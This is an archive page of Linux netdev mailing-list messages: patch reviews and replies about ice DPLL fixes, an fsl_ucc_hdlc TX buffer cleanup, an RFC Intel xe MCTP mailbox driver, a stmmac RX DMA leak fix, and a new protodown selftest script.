>>    base_rclk_idx subtraction in both ice_dpll_rclk_state_on_pin_{get,set}()
>>    to prevent out-of-bounds access on the pin state array.
>>
>> * The CGU register definitions (ICE_CGU_R10, ICE_CGU_R11 and related field
>>    masks) were placed after the #endif of the _ICE_DPLL_H_ include guard,
>>    leaving them unprotected. Move them inside the guard.
>>
>> Fixes: ad1df4f2d591 ("ice: dpll: Support E825-C SyncE and dynamic pin discovery")
>> Signed-off-by: Ivan Vecera <ivecera@redhat.com>
>> Reviewed-by: Aleksandr Loktionov <aleksandr.loktionov@intel.com>
>> Signed-off-by: Jacob Keller <jacob.e.keller@intel.com>
>> ---
> Ivan,
> 
> Unless you have any objections I will go ahead and rebase this ontop of
> net and submit it in my next round of fixes. I might split the changes
> to have the CGU register definitions change in a separate patch since it
> conceptually isn't the same issue as the other two.
> 
No objections at all! :-)... Please go ahead, rebase and submit.

Thank you.

Ivan


^ permalink raw reply

* Re: [PATCH net-next 14/15] ice: dpll: fix rclk pin state get and misplaced header macros
From: Ivan Vecera @ 2026-05-05  8:33 UTC (permalink / raw)
  To: Keller, Jacob E, Jakub Kicinski
  Cc: Kitszel, Przemyslaw, Andrew Lunn, David S. Miller, Eric Dumazet,
	Paolo Abeni, Lobakin, Aleksander, Simon Horman,
	Michal Swiatkowski, Jagielski, Jedrzej, Loktionov, Aleksandr,
	Nitka, Grzegorz, Kubalewski, Arkadiusz, Nguyen, Anthony L,
	Wegrzyn, Stefan, Kwapulinski, Piotr, netdev@vger.kernel.org,
	linux-kernel@vger.kernel.org
In-Reply-To: <SN7PR11MB75929B70DB2AC21CA8E36116D6312@SN7PR11MB7592.namprd11.prod.outlook.com>



On 5/4/26 8:38 PM, Keller, Jacob E wrote:
> 
> 
>> -----Original Message-----
>> From: Jakub Kicinski <kuba@kernel.org>
>> Sent: Saturday, May 2, 2026 7:10 PM
>> To: Keller, Jacob E <jacob.e.keller@intel.com>
>> Cc: Kitszel, Przemyslaw <przemyslaw.kitszel@intel.com>; Andrew Lunn
>> <andrew+netdev@lunn.ch>; David S. Miller <davem@davemloft.net>; Eric
>> Dumazet <edumazet@google.com>; Paolo Abeni <pabeni@redhat.com>;
>> Lobakin, Aleksander <aleksander.lobakin@intel.com>; Simon Horman
>> <horms@kernel.org>; Michal Swiatkowski
>> <michal.swiatkowski@linux.intel.com>; Jagielski, Jedrzej
>> <jedrzej.jagielski@intel.com>; Loktionov, Aleksandr
>> <aleksandr.loktionov@intel.com>; Nitka, Grzegorz
>> <grzegorz.nitka@intel.com>; Vecera, Ivan <ivecera@redhat.com>;
>> Kubalewski, Arkadiusz <arkadiusz.kubalewski@intel.com>; Nguyen, Anthony L
>> <anthony.l.nguyen@intel.com>; Wegrzyn, Stefan
>> <stefan.wegrzyn@intel.com>; Kwapulinski, Piotr
>> <piotr.kwapulinski@intel.com>; netdev@vger.kernel.org; linux-
>> kernel@vger.kernel.org
>> Subject: Re: [PATCH net-next 14/15] ice: dpll: fix rclk pin state get and
>> misplaced header macros
>>
>> On Thu, 30 Apr 2026 23:37:25 -0700 Jacob Keller wrote:
>>> Fixes: ad1df4f2d591 ("ice: dpll: Support E825-C SyncE and dynamic pin
>> discovery")
>>
>> Why are Fixes going to net-next?
> 
> Hm. It was targeted at next in the IWL patchwork. I'm not sure why Ivan chose to do that. I opted to include this in the series because the patches for unmanaged DPLL support have conflicts otherwise due to the placement of the header macros. I didn't consider that "net" material since its relatively minor issue that I think only causes issues if the ice_dpll.h header gets included twice which it doesn't seem to currently.

This was because it fixed a problem recently merged to next and at that
time it didn't make sense to target net branch. Originally it was
submitted on 02/10 !

Thanks,
Ivan


^ permalink raw reply

* RE: [PATCH net] net: wan: fsl_ucc_hdlc: free tx_skbuff in uhdlc_memclean
From: Holger Brunck @ 2026-05-05  8:33 UTC (permalink / raw)
  To: Christophe Leroy (CS GROUP), netdev@vger.kernel.org
  Cc: linuxppc-dev@lists.ozlabs.org, andrew+netdev@lunn.ch,
	qiang.zhao@nxp.com, horms@kernel.org
In-Reply-To: <3e1a653b-81bc-4008-8f84-77c823aeef49@kernel.org>

> 
> Le 04/05/2026 à 18:11, Holger Brunck a écrit :
> > When cleaning up the resources we need to iterate over the tx_skbuf
> > array to free pending TX messages.
> >
> > Fixes: c19b6d246a35 ("drivers/net: support hdlc function for QE-UCC")
> > Signed-off-by: Holger Brunck <holger.brunck@hitachienergy.com>
> > ---
> >   drivers/net/wan/fsl_ucc_hdlc.c | 7 +++++++
> >   1 file changed, 7 insertions(+)
> >
> > diff --git a/drivers/net/wan/fsl_ucc_hdlc.c
> > b/drivers/net/wan/fsl_ucc_hdlc.c index adf3863463f5..68f78aeabdc3
> > 100644
> > --- a/drivers/net/wan/fsl_ucc_hdlc.c
> > +++ b/drivers/net/wan/fsl_ucc_hdlc.c
> > @@ -739,6 +739,8 @@ static int uhdlc_open(struct net_device *dev)
> >
> >   static void uhdlc_memclean(struct ucc_hdlc_private *priv)
> >   {
> > +     int i;
> > +
> >       qe_muram_free(ioread16be(&priv->ucc_pram->riptr));
> >       qe_muram_free(ioread16be(&priv->ucc_pram->tiptr));
> >
> > @@ -769,6 +771,11 @@ static void uhdlc_memclean(struct ucc_hdlc_private
> *priv)
> >       kfree(priv->rx_skbuff);
> >       priv->rx_skbuff = NULL;
> >
> > +     for (i = 0; i < TX_BD_RING_LEN) {
> > +             kfree(priv->tx_skbuff[i]);
> 
> I don't think you can just kfree() an skb like this.
> 
> I think you have to call dev_kfree_skb_any() instead.
> 

yes you are right or at least dev_kfree_skb() as the error handling code in
ucc_hdlc_tx does.

Thanks
Holger


^ permalink raw reply

* Re: [RFC PATCH 1/1] xe/xe_mctp_mailbox: Add support for MCTP transport over mailbox
From: Andy Shevchenko @ 2026-05-05  8:23 UTC (permalink / raw)
  To: Badal Nilawar
  Cc: dri-devel, intel-xe, netdev, linux-kernel, rodrigo.vivi,
	wojciech.drewek, michael.brooks, heikki.krogerus, michael.j.ruhl,
	thomas.hellstrom, michal.winiarski, anshuman.gupta,
	jacob.e.keller, maarten.lankhorst, matthew.brost,
	anthony.l.nguyen, przemyslaw.kitszel, mika.westerberg,
	singaravelan.nallasellan, kelvin.gardiner, jk, matt,
	andrew+netdev, davem, edumazet, kuba, pabeni, james.ausmus
In-Reply-To: <20260504193420.1232842-4-badal.nilawar@intel.com>

On Tue, May 05, 2026 at 01:04:22AM +0530, Badal Nilawar wrote:
> Add support for MCTP transport over the Intel vendor-specific mailbox
> protocol to enable in-band firmware updates for GPU/AMC via PLDM

...

> +#include "xe_device_types.h"

Why is the location of this inclusion is here?

> +#include <linux/netdevice.h>
> +#include <linux/jiffies.h>
> +#include <linux/workqueue.h>
> +
> +#include <net/mctp.h>
> +#include <net/mctpdevice.h>
> +#include <net/pkt_sched.h>
> +
> +#include <uapi/linux/if_arp.h>
> +

The above doesn't sound like more generic than linux/* ones. Move it here.

> +#include "xe_mctp_mailbox.h"

...

> +static void mctp_mailbox_rx_handler(struct work_struct *work)
> +{
> +	struct xe_mctp_mailbox *mctp_mailbox =
> +		container_of(work, struct xe_mctp_mailbox, work.work);

> +	struct net_device *netdev = mctp_mailbox->netdev;
> +
> +	if (!netdev)
> +		return;

This is bad style from maintenance perspective. Use

	struct net_device *netdev;

	netdev = mctp_mailbox->netdev;
	if (!netdev)
		return;

> +	dev_hold(netdev);
> +
> +	/*
> +	 * if (mctp_mailbox_rx_ready()) {
> +	 * Get data over MAILBOX
> +	 * Allocate skb and copy rx data to skb
> +	 * Queue skb to upper layer
> +	 * netif_rx(skb);
> +	}
> +	 */

What is this?! If you want to put a nice comment, format it accordingly.

> +	dev_put(netdev);
> +
> +	if (mctp_mailbox->running)
> +		queue_delayed_work(mctp_mailbox->wq, &mctp_mailbox->work,
> +				   msecs_to_jiffies(XE_MCTP_MAILBOX_RX_POLL_MS));
> +}

...

> +static void mctp_mailbox_netdev_setup(struct net_device *dev)
> +{
> +	/* Populate netdev structure */
> +	dev->type = ARPHRD_MCTP;
> +	/*
> +	 *	dev->mtu = MCTP_MAILBOX_MTU_MIN;
> +	 *	dev->min_mtu = MCTP_MAILBOX_MTU_MIN;
> +	 *	dev->max_mtu = MCTP_MAILBOX_MTU_MAX;
> +	 *
> +	 *	dev->hard_header_len = sizeof(struct mctp_mailbox_hdr);
> +	 *	dev->tx_queue_len = DEFAULT_TX_QUEUE_LEN;
> +	 */

Even for RFC these should not exist in this form. Always add the respective
FIXME/TODO/et cetera to explain the commented out code.

> +	dev->flags = IFF_NOARP;
> +	dev->netdev_ops = &mctp_mailbox_netdev_ops;
> +	dev->pcpu_stat_type = NETDEV_PCPU_STAT_DSTATS;
> +}


-- 
With Best Regards,
Andy Shevchenko



^ permalink raw reply

* [PATCH RESEND] net: stmmac: fix RX DMA leak on TX alloc failure
From: Abid Ali via B4 Relay @ 2026-05-05  8:23 UTC (permalink / raw)
  To: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
	Paolo Abeni, Maxime Coquelin, Alexandre Torgue
  Cc: netdev, linux-stm32, linux-arm-kernel, linux-kernel, Abid Ali

From: Abid Ali <dev.taqnialabs@gmail.com>

Free RX DMA resources when alloc_dma_tx_desc_resources() fails in
alloc_dma_desc_resources().

Signed-off-by: Abid Ali <dev.taqnialabs@gmail.com>
---
 drivers/net/ethernet/stmicro/stmmac/stmmac_main.c | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/drivers/net/ethernet/stmicro/stmmac/stmmac_main.c b/drivers/net/ethernet/stmicro/stmmac/stmmac_main.c
index 13d3cac05..8bb843b55 100644
--- a/drivers/net/ethernet/stmicro/stmmac/stmmac_main.c
+++ b/drivers/net/ethernet/stmicro/stmmac/stmmac_main.c
@@ -2370,8 +2370,12 @@ static int alloc_dma_desc_resources(struct stmmac_priv *priv,
 		return ret;
 
 	ret = alloc_dma_tx_desc_resources(priv, dma_conf);
+	if (ret) {
+		free_dma_rx_desc_resources(priv, dma_conf);
+		return ret;
+	}
 
-	return ret;
+	return 0;
 }
 
 /**

---
base-commit: 028ef9c96e96197026887c0f092424679298aae8
change-id: 20260425-stmmac-rx-desc-cleanup-440f05845492

Best regards,
-- 
Abid Ali <dev.taqnialabs@gmail.com>



^ permalink raw reply related

* [PATCH net-next v2 3/3] selftests: net: Add protodown tests
From: Ido Schimmel @ 2026-05-05  8:16 UTC (permalink / raw)
  To: netdev; +Cc: davem, kuba, pabeni, edumazet, horms, petrm, Ido Schimmel
In-Reply-To: <20260505081656.463158-1-idosch@nvidia.com>

Add a selftest for the protodown mechanism.

Five test cases are included:

1. Basic protodown toggling: Verify that setting protodown on macvlan
   results in DOWN operational state and clearing it restores UP.

2. Same as the previous test case, but with vxlan.

3. Protodown reasons: Verify that protodown cannot be cleared while
   there are active protodown reasons, but can be cleared once all
   reasons are removed.

4. Operational state inheritance: Verify that toggling the lower
   device's carrier while protodown is on does not cause the macvlan to
   inherit the UP operational state.

5. Lower layer down: Verify that toggling protodown while the lower
   device has no carrier does not cause the macvlan to transition to UP
   operational state.

Note that the last two test cases fail without "net: Do not inherit
operational state when protodown is on" and "net: Do not unconditionally
turn on carrier when turning off protodown":

 # ./protodown.sh
 TEST: Basic protodown on/off with macvlan                           [ OK ]
 TEST: Basic protodown on/off with vxlan                             [ OK ]
 TEST: Protodown reasons                                             [ OK ]
 TEST: Inheriting operational state with protodown                   [FAIL]
         Macvlan operational state is not DOWN despite protodown
 TEST: Protodown with lower layer down                               [FAIL]
         Macvlan is not LOWERLAYERDOWN after clearing protodown

Assisted-by: Claude:claude-opus-4-6
Signed-off-by: Ido Schimmel <idosch@nvidia.com>
---
 tools/testing/selftests/net/Makefile     |   1 +
 tools/testing/selftests/net/protodown.sh | 182 +++++++++++++++++++++++
 2 files changed, 183 insertions(+)
 create mode 100755 tools/testing/selftests/net/protodown.sh

diff --git a/tools/testing/selftests/net/Makefile b/tools/testing/selftests/net/Makefile
index baa30287cf22..c6ff7b504e97 100644
--- a/tools/testing/selftests/net/Makefile
+++ b/tools/testing/selftests/net/Makefile
@@ -69,6 +69,7 @@ TEST_PROGS := \
 	nl_netdev.py \
 	nl_nlctrl.py \
 	pmtu.sh \
+	protodown.sh \
 	psock_snd.sh \
 	reuseaddr_ports_exhausted.sh \
 	reuseport_addr_any.sh \
diff --git a/tools/testing/selftests/net/protodown.sh b/tools/testing/selftests/net/protodown.sh
new file mode 100755
index 000000000000..de6ab90c521a
--- /dev/null
+++ b/tools/testing/selftests/net/protodown.sh
@@ -0,0 +1,182 @@
+#!/bin/bash
+# SPDX-License-Identifier: GPL-2.0
+#
+# Test the "protodown" mechanism. Verify basic protodown toggling, protodown
+# reasons, operational state inheritance when the lower device carrier changes,
+# and correct operational state when the lower device has no carrier.
+
+# shellcheck disable=SC1091,SC2034,SC2154,SC2317
+source lib.sh
+
+require_command jq
+
+ALL_TESTS="
+	protodown_basic_macvlan
+	protodown_basic_vxlan
+	protodown_reasons
+	protodown_inherit_operstate
+	protodown_lower_layer_down
+"
+
+operstate_get()
+{
+	local ns=$1; shift
+	local dev=$1; shift
+
+	ip -n "$ns" -j link show dev "$dev" | jq -r '.[].operstate'
+}
+
+operstate_check()
+{
+	local ns=$1; shift
+	local dev=$1; shift
+	local expected=$1; shift
+
+	local current
+	current=$(operstate_get "$ns" "$dev")
+
+	[ "$current" = "$expected" ]
+}
+
+setup_prepare()
+{
+	setup_ns NS
+	defer cleanup_all_ns
+
+	ip -n "$NS" link add name dummy0 up type dummy
+
+	ip -n "$NS" link add name macvlan0 link dummy0 up type macvlan mode bridge
+
+	ip -n "$NS" link add name vxlan0 up type vxlan id 10010 dstport 4789
+}
+
+protodown_basic()
+{
+	local dev=$1; shift
+
+	ip -n "$NS" link set dev "$dev" protodown on
+	check_err $? "Failed to set protodown on"
+
+	busywait "$BUSYWAIT_TIMEOUT" operstate_check "$NS" "$dev" DOWN
+	check_err $? "Operational state is not DOWN after setting protodown"
+
+	ip -n "$NS" link set dev "$dev" protodown off
+	check_err $? "Failed to set protodown off"
+
+	busywait "$BUSYWAIT_TIMEOUT" operstate_check "$NS" "$dev" UP
+	check_err $? "Operational state is not UP after clearing protodown"
+}
+
+protodown_basic_macvlan()
+{
+	RET=0
+
+	protodown_basic macvlan0
+
+	log_test "Basic protodown on/off with macvlan"
+}
+
+protodown_basic_vxlan()
+{
+	RET=0
+
+	protodown_basic vxlan0
+
+	log_test "Basic protodown on/off with vxlan"
+}
+
+protodown_reasons()
+{
+	RET=0
+
+	ip -n "$NS" link set dev macvlan0 protodown on
+
+	ip -n "$NS" link set dev macvlan0 protodown_reason 0 on
+	check_err $? "Failed to set protodown reason bit 0"
+
+	# Cannot clear protodown while reasons are active.
+	ip -n "$NS" link set dev macvlan0 protodown off 2>/dev/null
+	check_fail $? "Clearing protodown succeeded with active reasons"
+
+	ip -n "$NS" link set dev macvlan0 protodown_reason 0 off
+	check_err $? "Failed to clear protodown reason bit 0"
+
+	# Can clear protodown when no reasons are active.
+	ip -n "$NS" link set dev macvlan0 protodown off
+	check_err $? "Failed to clear protodown with no active reasons"
+
+	busywait "$BUSYWAIT_TIMEOUT" operstate_check "$NS" macvlan0 UP
+	check_err $? "Operational state is not UP after clearing protodown"
+
+	log_test "Protodown reasons"
+}
+
+protodown_inherit_operstate()
+{
+	RET=0
+
+	ip -n "$NS" link set dev macvlan0 protodown on
+
+	busywait "$BUSYWAIT_TIMEOUT" operstate_check "$NS" macvlan0 DOWN
+	check_err $? "Operational state is not DOWN after setting protodown"
+
+	# Toggle carrier on the lower device. The macvlan should stay DOWN
+	# because protodown is on.
+	ip -n "$NS" link set dev dummy0 carrier off
+	ip -n "$NS" link set dev dummy0 carrier on
+
+	busywait "$BUSYWAIT_TIMEOUT" operstate_check "$NS" dummy0 UP
+	check_err $? "Lower device is not UP after carrier on"
+
+	busywait "$BUSYWAIT_TIMEOUT" operstate_check "$NS" macvlan0 DOWN
+	check_err $? "Macvlan operational state is not DOWN despite protodown"
+
+	# Clear protodown and verify the macvlan comes back up.
+	ip -n "$NS" link set dev macvlan0 protodown off
+
+	busywait "$BUSYWAIT_TIMEOUT" operstate_check "$NS" macvlan0 UP
+	check_err $? "Operational state is not UP after clearing protodown"
+
+	log_test "Inheriting operational state with protodown"
+}
+
+protodown_lower_layer_down()
+{
+	RET=0
+
+	# Bring the lower device carrier down first.
+	ip -n "$NS" link set dev dummy0 carrier off
+
+	busywait "$BUSYWAIT_TIMEOUT" operstate_check "$NS" macvlan0 LOWERLAYERDOWN
+	check_err $? "Macvlan is not LOWERLAYERDOWN with lower carrier off"
+
+	# Toggle protodown on and off while lower has no carrier. The macvlan
+	# should not transition to UP.
+	ip -n "$NS" link set dev macvlan0 protodown on
+
+	busywait "$BUSYWAIT_TIMEOUT" operstate_check "$NS" macvlan0 LOWERLAYERDOWN
+	check_err $? "Macvlan is not LOWERLAYERDOWN after setting protodown"
+
+	ip -n "$NS" link set dev macvlan0 protodown off
+
+	busywait "$BUSYWAIT_TIMEOUT" operstate_check "$NS" macvlan0 LOWERLAYERDOWN
+	check_err $? "Macvlan is not LOWERLAYERDOWN after clearing protodown"
+
+	# Bring the lower device carrier up. The macvlan should transition to
+	# UP.
+	ip -n "$NS" link set dev dummy0 carrier on
+
+	busywait "$BUSYWAIT_TIMEOUT" operstate_check "$NS" dummy0 UP
+	check_err $? "Lower device is not UP after carrier on"
+
+	busywait "$BUSYWAIT_TIMEOUT" operstate_check "$NS" macvlan0 UP
+	check_err $? "Macvlan is not UP after lower device is UP"
+
+	log_test "Protodown with lower layer down"
+}
+
+trap defer_scopes_cleanup EXIT
+setup_prepare
+tests_run
+
+exit "$EXIT_STATUS"
-- 
2.54.0


^ permalink raw reply related


This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox